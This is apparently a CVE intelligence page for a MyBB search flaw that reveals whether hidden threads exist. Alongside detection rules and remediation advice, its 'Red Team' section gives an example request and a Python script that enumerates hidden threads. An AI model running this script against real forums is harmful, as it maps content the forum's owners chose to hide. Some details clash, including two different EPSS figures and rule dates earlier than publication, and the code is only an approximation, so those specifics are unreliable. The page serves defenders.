☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-48941

CVE-2025-48941 Information Disclosure in Mybb
📅 PUBLISHED: 2025-06-02 15:58 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48941 is an information disclosure vulnerability in MyBB, a free and open-source forum software. The vulnerability resides in the search component, which fails to validate thread visibility permissions during internal search queries. This allows an authenticated attacker with access to the search functionality and general forum access to determine the existence of hidden threads (drafts, unapproved, or soft-deleted) by observing the response behavior (redirect vs. no redirect). The vulnerability does not expose the content of posts, only the existence of threads matching a title search. The CVSS score is 5.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. MyBB 1.8.39 resolves this issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain security. The affected component is the core MyBB application.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (requires forum access and search functionality)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (disclosure of existence of hidden threads)
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Medium. The vulnerability allows an attacker to infer the existence of hidden content, which could be used for reconnaissance or to target specific users or content.

Deep Dive & Mechanics

The vulnerability is caused by a missing permission check in the search component. When a user performs a search, MyBB queries the mybb_threads table to find threads matching the search criteria. The query does not filter by the visible column, which indicates the thread's visibility state:

  • visible = 1: Generally visible
  • visible = 0: Unapproved
  • visible = -1: Soft-deleted
  • visible = -2: Draft

The search result is used to determine the response behavior:

  • If at least one thread is found (regardless of visibility), the server returns a redirect response (HTTP 302 or a success message with delayed redirect).
  • If no threads are found, the server returns a message indicating no results without a redirect.

An attacker can exploit this by sending search requests with specific title keywords and observing the response. If a redirect is received, it indicates that a thread with that title exists, even if it is hidden. This allows the attacker to map out hidden content.

The vulnerability does not affect other permission layers (e.g., forum access permissions). The attacker must have general access to the forums containing the threads.

Vulnerable vs. Patched Code

Vulnerable Code (MyBB < 1.8.39):

The search query in search.php or similar file does not include a condition on the visible column. For example:

$query = $db->simple_select("threads", "tid", "title LIKE '%".$db->escape_string($search_term)."%'");

This query returns threads regardless of their visibility state.

Patched Code (MyBB 1.8.39):

The patched code adds a condition to filter by visibility:

$query = $db->simple_select("threads", "tid", "title LIKE '%".$db->escape_string($search_term)."%' AND visible = 1");

This ensures that only generally visible threads are considered in the search result, preventing the information disclosure.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a MyBB forum with search functionality enabled.
  • General access to the forums containing the target threads.

Exploitation Steps:

  1. Identify Target: Determine the title keywords of hidden threads you want to confirm.
  2. Craft Search Request: Send a GET request to the search endpoint with the keyword. For example:
    GET /search.php?action=results&keywords=hidden_thread_title HTTP/1.1
    Host: target-forum.com
    Cookie: mybbuser=...
    
  3. Analyze Response:
    • If the response is a redirect (HTTP 302 or a success message with delayed redirect), the thread exists (hidden or visible).
    • If the response is a "no results" message, the thread does not exist.
  4. Repeat: Use different keywords to map out hidden threads.

Example Python Script:

import requests

target = "http://target-forum.com/search.php"
cookies = {"mybbuser": "your_session_cookie"}

keywords = ["draft_thread", "unapproved_post", "deleted_topic"]

for keyword in keywords:
    params = {"action": "results", "keywords": keyword}
    response = requests.get(target, params=params, cookies=cookies, allow_redirects=False)
    if response.status_code == 302 or "redirect" in response.text.lower():
        print(f"[+] Thread with keyword '{keyword}' exists (hidden or visible)")
    else:
        print(f"[-] No thread found for keyword '{keyword}'")

Blue Team

Detection:

  • Monitor for unusual search patterns, especially repeated searches for specific keywords.
  • Look for searches that result in redirects but no subsequent page views (indicating the attacker is only checking existence).
  • Correlate search requests with user accounts that have low privileges.

Mitigation:

  • Apply the patch by upgrading to MyBB 1.8.39.
  • If patching is not immediately possible, consider disabling the search functionality for low-privileged users or implementing rate limiting.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /search.php with action=results and keywords parameter.
  • Logs: Repeated search queries from the same IP or user account, especially for unusual keywords.
  • Behavior: Search requests that result in redirects but no subsequent page views.

Detection Engineering

YARA Rule

rule CVE_2025_48941_MyBB_Search_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-48941 in MyBB search functionality"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48941"
    strings:
        $search_action = "action=results" nocase
        $keywords_param = "keywords=" nocase
        $redirect_response = "HTTP/1.1 302" nocase
        $success_message = "Your search has been completed" nocase
    condition:
        $search_action and $keywords_param and ($redirect_response or $success_message)
}

Sigma Rule

title: MyBB Search Information Disclosure Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-48941 by observing search response behavior
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=results&keywords='
    condition: selection
falsepositives:
    - Legitimate search queries
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48941 MyBB Search Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/search.php"; http_uri; content:"action=results"; http_uri; content:"keywords="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade MyBB: Update to version 1.8.39 or later, which includes the fix.
  2. Disable Search: If patching is not possible, temporarily disable the search functionality for low-privileged users.
  3. Rate Limiting: Implement rate limiting on search requests to reduce the feasibility of automated exploitation.

Long-Term Measures:

  • Regularly update MyBB to the latest version.
  • Conduct security audits of custom plugins and modifications.
  • Implement Web Application Firewall (WAF) rules to detect and block suspicious search patterns.

Workarounds:

  • Modify the search query manually to include a visibility check (not recommended for production without testing).

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48941/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.